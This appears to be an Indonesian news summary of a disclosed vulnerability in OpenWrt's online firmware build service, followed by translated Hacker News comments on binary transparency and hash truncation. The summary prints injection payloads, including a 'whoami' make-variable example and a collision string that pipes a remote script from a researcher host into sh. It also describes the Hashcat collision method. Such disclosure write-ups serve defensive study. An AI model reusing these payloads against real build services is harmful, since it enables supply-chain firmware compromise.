- Fitur upgrade web OpenWrt Attended Sysupgrade dibangun dengan arsitektur yang menghasilkan firmware di server build online, dan jika injeksi perintah digabungkan dengan collision SHA-256 yang dipotong, hasil build yang salah dapat dikembalikan untuk permintaan yang tampak normal
- Nilai
packagesdari permintaan diteruskan ke variabelPACKAGES=milikmake manifest, dan karena sifat ekspansi variabel padamake, penyerang dapat menjalankan perintah arbitrer di dalam container ImageBuilder - Hash daftar paket yang dipakai bukan seluruh SHA-256, melainkan hanya 12 karakter pertama, yaitu 48 bit, sehingga daftar paket yang berbeda dapat menghasilkan hash permintaan yang sama untuk kunci cache
- Peneliti memperoleh kecepatan sekitar 18 miliar hash per detik dengan Hashcat yang dimodifikasi dan RTX 4090, lalu berhasil memverifikasi penimpaan artefak
.binmilik ImageBuilder dengan payload injeksi perintah yang bertabrakan - Setelah laporan kerentanan privat, tim OpenWrt menghentikan sementara
sysupgrade.openwrt.orgdan merilis versi perbaikan dalam kurang dari 3 jam, tetapi tidak dapat memastikan apakah eksploitasi sebelumnya pernah terjadi
Struktur build firmware online Attended Sysupgrade
- Antarmuka web LuCI milik OpenWrt memiliki
Attended Sysupgrade, dan fitur ini membangun firmware baru memakai layanan online - Layanan build berjalan di
sysupgrade.openwrt.org, dan ketika pengguna memilih perangkat target serta paket yang diinginkan, layanan ini membuat image firmware baru - Saat permintaan upgrade dilakukan, OpenWrt di sisi pengguna mengirim informasi berikut ke server
- arsitektur target
- profil perangkat
- paket yang dipilih
- Berdasarkan informasi ini, server membangun image firmware lalu mengembalikannya ke perangkat OpenWrt, dan perangkat mem-flash image yang diterima
- Jika server yang membangun image dari paket yang disediakan pengguna tidak cukup terisolasi, hasil build tersebut menjadi permukaan serangan rantai pasok karena langsung diterapkan ke perangkat
Injeksi perintah melalui nilai PACKAGES
- Server
sysupgrade.openwrt.orgadalah proyek open source, dan kode sumbernya ada di openwrt/asu - Lingkungan build dijalankan di dalam container yang dibuat dengan
podman.containers.create, memakai konfigurasi seperticap_drop=["all"],no_new_privileges=True, danprivileged=False - Kerentanannya muncul pada bagian pemanggilan
make manifestPROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- Target
manifestpada OpenWrt ImageBuilder meneruskan lagi nilaiPACKAGESdalam bentukUSER_PACKAGES="$(PACKAGES)" - Karena
makemengekspansi variabel sebelum menjalankan perintah, nilai yang dikendalikan pengguna tidak ditangani dengan aman meskipun dibungkus tanda petik tunggal- Dalam contoh Makefile, menjalankan
make var="'; whoami #"akan tetap mengeksekusiwhoamibahkan di dalamecho '$(var)'
- Dalam contoh Makefile, menjalankan
- Karena parameter
packagespada permintaan masuk ke variabelPACKAGES, penyerang dapat menyisipkan perintah ke nilai yang tampak seperti nama paket untuk menjalankan perintah arbitrer di dalam container ImageBuilder - Meskipun container terisolasi dari host, biner yang dihasilkan kemudian ditandatangani dengan kunci privat pada tahap berikutnya, sehingga injeksi perintah ini berkembang menjadi kerentanan rantai pasok
Kunci cache SHA-256 yang dipotong menjadi 12 karakter
get_request_hashmenggabungkan beberapa field dari permintaan build untuk membuat hash permintaan, dan hash ini dipakai sebagai kunci cache build- Daftar paket tidak dimasukkan langsung sebagai string, melainkan hasil
get_packages_hash(build_request.packages)dimasukkan ke hash permintaan luar get_packages_hashmenghapus paket duplikat, mengurutkannya, lalu menghitung SHA-256 dari string hasil gabungan dengan spasi, tetapi hanya mengembalikan 12 karakter pertama- Prefiks SHA-256 sepanjang 12 karakter adalah 48 bit, dan ruang kemungkinan yang tersedia adalah
2^48 = 281,474,976,710,656 - Karena hash permintaan luar memuat hash paket yang dipotong ini, membuat collision pada hash paket membuat daftar paket yang berbeda berbagi kunci cache yang sama
- Akibatnya, server dapat mengembalikan artefak build yang salah untuk permintaan paket yang berbeda
Mencari payload collision dengan Hashcat
- Karena tidak menemukan alat brute force SHA-256 parsial, peneliti sempat membuat program OpenCL sendiri, tetapi menghitung 100 juta hash membutuhkan 10 detik, mirip dengan kecepatan hash CPU
- Setelah itu, Hashcat dimodifikasi agar mencetak hash meskipun hanya 8 karakter yang cocok, lalu skrip kecil dipakai untuk memeriksa collision 12 karakter
- Daftar paket normal diambil dari
firmware-selector.openwrt.org, dan SHA-256 untuk daftar itu adalah8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb- 12 karakter pertamanya adalah
8f7018b33d94 - Payload serangan juga harus memiliki prefiks 12 karakter yang sama
- 12 karakter pertamanya adalah
- Awalnya, mask berbentuk
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`dijalankan pada RTX 4090, dan menghasilkan kecepatan sekitar 500 juta hash per detik ?lmenghasilkana-z, sehingga ruang 10 huruf adalah26^10 = 141,167,095,653,376, yang kira-kira setengah dari2^48- Ketika mask diperpanjang menjadi 11 huruf dan posisi mask dipindahkan ke bagian depan perintah, kecepatannya meningkat drastis
- Pola akhirnya adalah
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - Pada pola ini, Hashcat menghitung sekitar 18 miliar hash per detik
- Pola akhirnya adalah
- Dalam waktu kurang dari 1 jam, collision 12 karakter berikut ditemukan
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- SHA-256 untuk string ini adalah
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, dan 12 karakter pertamanya sama dengan daftar paket normal
Menggabungkan dua kerentanan untuk mengembalikan firmware yang salah
- Jika payload collision dikirim sebagai parameter
packages, injeksi perintah terjadi dan skrip daritmp.ryotak.netdijalankan - Skrip verifikasi menambahkan kode ke
/builder/scripts/json_overview_image_info.pyuntuk menimpa artefak yang dibuat oleh ImageBuilder- membaca daftar file di
BIN_DIR - mencari file yang namanya berakhiran
.binlalu menulis"test"ke dalam isinya
- membaca daftar file di
- Karena collision hash, server mengembalikan artefak build yang telah ditimpa kepada pengguna yang meminta daftar paket normal
- Jika metode ini dieksploitasi, pengguna dapat ter-upgrade ke firmware berbahaya, yang dapat berujung pada kompromi perangkat
Pelaporan dan perbaikan
- Kerentanan ini disampaikan ke tim OpenWrt melalui laporan kerentanan privat di GitHub
- Setelah mengonfirmasi masalah, tim OpenWrt menghentikan sementara layanan
sysupgrade.openwrt.orgdan mulai melakukan investigasi - Versi perbaikan dirilis dalam kurang dari 3 jam, dan layanan pun dijalankan kembali
- Kedua masalah sudah diperbaiki, tetapi karena kerentanan ini sempat ada untuk beberapa waktu, tidak diketahui apakah pihak lain sudah lebih dulu mengeksploitasinya
- Tim OpenWrt juga menerbitkan pengumuman agar pengguna dapat memeriksa dan mendeteksi kemungkinan kompromi perangkat
Kesimpulan
sysupgrade.openwrt.orgdapat dikompromikan dengan menggabungkan injeksi perintah dan collision SHA-256 yang dipotong- Ini adalah contoh jalur serangan rantai pasok yang berhasil dibuat dengan melakukan brute force serangan collision hash pada aplikasi nyata
- Tim OpenWrt memang memperbaiki masalah dengan cepat dan memberi tahu pengguna, tetapi layanan build online harus memperlakukan kunci cache dan validasi input dengan sangat konservatif
1 komentar
Komentar Hacker News
Kerentanan yang terlewat dalam artikel itu adalah bahwa menjalankan kode yang disesuaikan untuk pengguna tertentu atau perangkat tertentu menjadi dinormalisasi.
Tidak ada verifikasi reproducibility, dan tidak ada cara bagi siapa pun untuk memastikan layanan build dan unduhan kustom ini tidak membuat build yang ditanami backdoor.
Harus ada jaminan bahwa kita menggunakan build xz-utils seperti yang dipakai Andres Freund, atau build yang nantinya bisa diperoleh peneliti keamanan untuk memeriksa apakah ada implan supply chain dalam perangkat lunak open source[1].
Dulu ada tulisan yang menjelaskan upaya Mozilla untuk memublikasikan catatan build rilis dalam Merkle tree, tetapi upaya itu dihentikan[2]. Google sudah merapikan implementasi build firmware Pixel, tetapi aplikasi yang didistribusikan lewat Google Play Store tampaknya masih rentan (kecuali ada log lain yang tidak saya temukan)[3]. Dalam hal transparansi biner, Apple tampaknya lebih buruk daripada Google, karena di distribusi firmware dan aplikasi mereka menargetkan build per perangkat individual tanpa transparansi build.
Contoh yang bagus adalah repositori ebuild Gentoo. Karena checksum sumber disimpan dalam satu repositori Git/Merkle tree, repositori itu mungkin tetap menjadi salah satu Merkle tree terbesar dan paling tersebar luas di antara perangkat lunak open source.
[1] Setelah backdoor xz-utils, sebagian peneliti melakukan pemindaian otomatis/semiotomatis untuk mencari file berentropi tinggi yang tidak dapat dijelaskan, yang dapat memuat kode berbahaya tersembunyi dalam build perangkat lunak open source. Pada build kustom per pengguna/per perangkat, pekerjaan seperti ini mustahil dilakukan kecuali semua build dipublikasikan untuk analisis di kemudian hari, disertai log publik (Merkle tree) untuk build publik tersebut.
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
Banyak elemen yang masuk ke pipeline build pada dasarnya nondeterministik, karena keputusan pada waktu kompilasi bisa berbeda di tiap eksekusi. Bahkan jika mengesampingkan masalah flag, memang tujuan compiler pengoptimalan pada praktiknya cukup dekat ke arah itu. Seperti yang ditemukan banyak proyek reproducible builds, jika optimasi diaktifkan, reproducibility praktis tidak terjamin.
Setahu saya tidak ada log terpusat, dan pengembang aplikasi dibiarkan memublikasikan sendiri kunci mereka atau log file transparansi.
Bukankah
"".joinjuga berbahaya?Jika bentuknya
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., hash bisa tetap sama meskipun karakter dipindahkan di antara field yang bersebelahan.Meski tidak bisa mengambil alih sistem secara langsung, ini bisa menyebabkan polusi cache dengan image yang rusak atau memicu downgrade.
Koreksi: yang tepat bukan HMAC, melainkan incremental hashing.
Jadi open source tidak akan pernah bisa bersaing dengan closed source enterprise:
karena mereka memperbaikinya dalam 3 jam alih-alih membuat orang menunggu patch 6 bulan, tidak mencoba menuntut pelapor masalah, dan tidak sekadar menawarkan diskon kecil sambil menyuruh orang membuang perangkat “kuno” yang sebenarnya masih berfungsi baik dan membeli produk baru.
Semoga command injection juga akan diperbaiki. Seperti yang dikatakan tulisan itu, image yang dihasilkan ditandatangani. Bahkan tanpa tanda tangan pun, ini tetap masalah eksekusi kode dari input pengguna yang tidak tepercaya. Dan kerentanan bisa saling berkaitan, seperti pada kasus tabrakan hash kali ini.
Bisa diganti, tetapi hanya dengan model yang sama. ISP sama sekali tidak peduli keamanan dan tidak melakukan patch. Padahal mereka punya akses eksklusif ke router dan bahkan bisa login jarak jauh; itu benar-benar tidak masuk akal.
Di sebagian besar proyek open source, maintainer sering kali sudah terlalu kewalahan, atau sekadar tidak ingin memperbaiki masalah keamanan.
Pertama, ini adalah contoh di mana sebuah alat yang sebenarnya tidak dibuat untuk tujuan seperti itu tetap open source dan ditulis tanpa BuilderFactoryProvider, sehingga bisa disesuaikan dengan pekerjaan dalam waktu singkat.
Maaf kalau ini sudah pernah dibahas, tetapi hal ini membuat saya sangat menderita setiap hari.
Kalau perusahaan besar, memperbaikinya mungkin akan memakan waktu -1 tahun. Karena mereka hanya akan menuntut orang itu dan berusaha menangkapnya secepat mungkin, lalu tidak akan pernah merilis patch.
OpenWrt, setelah menerima informasi, menurunkan layanan yang tidak aman, lalu pengguna sudah berada dalam kondisi aman berkat shutdown tersebut saat laporan diverifikasi, kemudian membuat patch dan mendistribusikannya dalam 3 jam. Luar biasa.
Saya penasaran bagaimana orang bisa terpikir untuk memakai hash yang dipotong. Apa tujuan atau keuntungannya?
Saya tidak menganggapnya praktik yang baik, tetapi orang memang berkompromi dalam praktiknya
Menurut jawaban @Reid di [2] dan jawaban @ThomasPornin di [3], gagasan memotong hash juga didukung sepenuhnya oleh NIST. Faktanya, SHA-224 adalah hasil pemotongan SHA-256, dan SHA-384 adalah hasil pemotongan SHA-512
https://security.stackexchange.com/a/97389
Tulisannya bagus. Saya agak terkejut bahwa untuk menemukan collision sependek ini dibutuhkan komputasi GPU sebanyak itu, tetapi menyenangkan melihat implementasinya
Terkait bagian terakhir, apakah 40 ribu dolar untuk sebulan analisis keamanan merupakan harga yang masuk akal? Kalau begitu, apakah peneliti keamanan yang bagus menghasilkan sekitar 500 ribu dolar per tahun?
nmap/metasploityang malas lalu membungkusnya dalam PDF yang tampak meyakinkan2^(12*4)berarti ada 281.474.976.710.656 kemungkinan string 12 karakter, jadi fakta bahwa sebanyak itu bisa disapu dalam satu jam benar-benar mengesankanApa maksudnya performa
hashcatbisa berbeda beberapa digit tergantung urutan argumen? Apakah setiap kali dijalankan ia memindai pola target pada baris argumen?Atau mungkin strukturnya seperti saat menghitung angka:
100000000000010000000000110000000000001000000000Sebagian besar perubahan terjadi di kiri, sementara perubahan di kanan jarang terlihat. Akan menarik kalau ada orang yang memahami hashcat menjawabnya. Saya hanya sedang melempar dugaan
Proses serangannya ditulis dengan sangat baik dan mudah diikuti